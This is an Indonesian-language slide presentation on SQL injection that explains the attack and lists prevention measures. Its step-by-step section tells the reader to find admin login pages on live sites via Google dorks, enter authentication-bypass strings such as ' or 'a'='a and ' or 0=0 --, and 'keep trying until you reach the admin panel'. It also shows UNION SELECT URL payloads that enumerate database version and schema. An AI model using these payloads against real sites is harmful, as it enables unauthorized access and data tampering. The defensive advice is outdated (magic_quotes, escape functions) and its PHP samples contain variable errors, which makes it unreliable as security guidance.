You are on page 1of 6

SQL INJECTION id.wikipedia.

org

Pengertian :

* sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi
perintah SQL yang ada di memori aplikasi client.
* merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan
database untuk penyimpanan data.

SQL INJECTION

Atau dengan kata lain :

Sebenernya SQL injection terjadi ketika attacker bisa meng insert beberapa SQL
statement ke ‘query’ dengan cara manipulasi data input ke applikasi tsb.

SQL INJECTION

Tehnik hacking sql injection mulai mencuat kepermukaan semenjak dijebolnya situs KPU
pada pemilu putaran pertama kemarin oleh Dani Firmansyah atau Xnuxer. Dengan teknik
ini dia dapat masuk sebagai web administrator tanpa susah payah scan port port yang
terbuka , tanpa terdeteksi oleh firewall dan tanpa tool khusus ke situs KPU yang konon
systemnya yang seharga 152 milyar itu keamanannya berlapis lapis.

Akibat yang akan timbul :

* Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki
account.
* Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun
menambahkan data–data yang berada didalam database.
* Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak
bisa memberi layanan kepada web server.
Id.wikipedia.org
Langkah-langkah
SQL INJECTION

* Cari situs web yang memiliki form login :

a. masuk ke Google / yang lain

b. Masukkan keyword :

“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”

Langkah-langkah
SQL INJECTION

2. Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan
menjumpai sebuah halaman login (user name danpassword).

3. Masukkan kode berikut :

User name : ` or `a’='a


Password : ` or `a’='a (termasuk tanda petiknya)

4. Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa
menambahkan berita, mengedit user yang lain, merubah about,dan lain-lain. Jika tidak
berhasil, cobalah mencari link yang lain yang ditemukan oleh google.

5. Banyak variasi kode yang mungkin, antara lain :

User name : admin


Password : ` or `a’='a
atau bisa dimasukkan ke dua–duanya misal :

‘ or 0=0 – ; “ or 0=0 — ; or 0=0 — ; ‘ or 0=0 # ;

“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x

6. Cobalah sampai berhasil hingga anda bisa masuk ke admin panel

Langkah-langkah
SQL INJECTION

$username = $_POST['username'];

$password = $_POST['password'];

$query = “SELECT * FROM user WHERE username = ‘$username‘ AND password =


‘$password’”;

Sekarang, perhatikan apa yang terjadi apabila dalam form dimasukkan input sebarang
nama user dan password berbentuk ‘ OR ‘1′ = ‘1. Pastilah login akan sukses karena
perintah SQL yang dijalankan adalah :

SELECT * FROM user WHERE username = ‘xxx‘ AND password = ” OR ‘1′ = ‘1′
yang akan selalu menghasilkan nilai TRUE.

Langkah-langkah
SQL INJECTION

Contoh SQL Injection via URL

1.http://10.103.1.100/inject_sql/index.php?read=viewdat&id=1

Sekilas kalo dilihat tidak terjadi apa2 sekarang kita tambahkan tanda – sebelum 1. maka
pada area SCREENSHOT dan data akan hilang, kemungkinan besar bisa di inject, tapi
ingat tidak semuanya bisa.

Contoh SQL Injection via URL

2. Kita mulai injectnya dengan menggunakan UNION SELECT .

http://10.103.1.100/inject_sql/index.php?read=viewdat&id=-1‘ UNION SELECT


1,2,3,4,5,6,version()/*

* version() : current mysql version


* database() : current database where user is connected
* user() : connected to the database
* system_user() : obvious
* session_user()
* current_user()
* last_insert_id()
* connection_id()

Contoh SQL Injection via URL

Untuk mencari tabelnya kita gunakan perintah table_name from


information_schema.tables where table_schema=database() limit 0,1/*

http://10.103.1.100/inject_sql/index.php?read=viewdat&id=-
1′%20UNION%20SELECT%20column_name,1,2,3,4,5,6%20from%20information_sche
ma.columns%20where%20table_name=’tuser’%20limit%200,6/*

Pencegahan SQL Injection

1. Batasi panjang input box (jika memungkinkan), dengan cara membatasinya di kode
program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa
diinject dengan perintah yang panjang. Jangan izinkan user menginput selain karakter a –
z atau A – Z atau 0 – 9 , selain dari pada itu ditolak pada saat pengecekan.

Pencegahan SQL Injection


2. Memperketat hak akses user dalam MySQL.

3. Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang
berjalan.

4. Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored


Procedures jika memungkinkan.

5. Ubah “Startup and run SQL Server” menggunakan low privilege user di SQL Server
Security tab.

Pencegahan SQL Injection

6. Update PHP rilis terbaru yang telah dilengkapi security dengan mengubah karakter
single quote (‘) menjadi (\’). Dengan kata lain karakter single quote yang diinputkan
melalui form secara otomatis akan diubah menjadi backslash-single quote (\’).

7. Gunakan fungsi yang dapat mencegah SQL Injection, antara lain :

Pencegahan SQL Injection

1.mysql_escape_string

Contoh : <?php

$string = “The Injec’tion “; $filter = mysql_escape_string($item);

printf(”Hasil Filter : %s\n”, $Filter);

?>

Fungsi mysql_escape_string merubah “The Injec’tion” menjadi “The Injec\’tion”

2. mysql_real_escape_string

Contoh : <?php

$kon = mysql_connect(’localhost’, ‘mysql_user’, ‘mysql_password’);

if (!$kon) { die(’Gak Konek: ‘ . mysql_error()); }

$string = “The Injec’tion’s”;

$filter = mysql_real_escape_string($string, $kon);


printf(”Hasil Filter: %s\n”, $filter);

?>

Fungsi mysql_real_escape_string merubah “The Injec’tion’s” menjadi “The


Injec\’tion\’s”

Pencegahan SQL Injection

8. Pemfilteran karakter ‘ dengan memodifikasi php.ini

Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini


sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh
php

Hacking adalah seni. Hacking adalah perpaduan dari pengetahuan, kreatifitas dan
kesabaran. Jika Anda memiliki ketiga-tiganya Anda akan berhasil.

Terima kasih

You might also like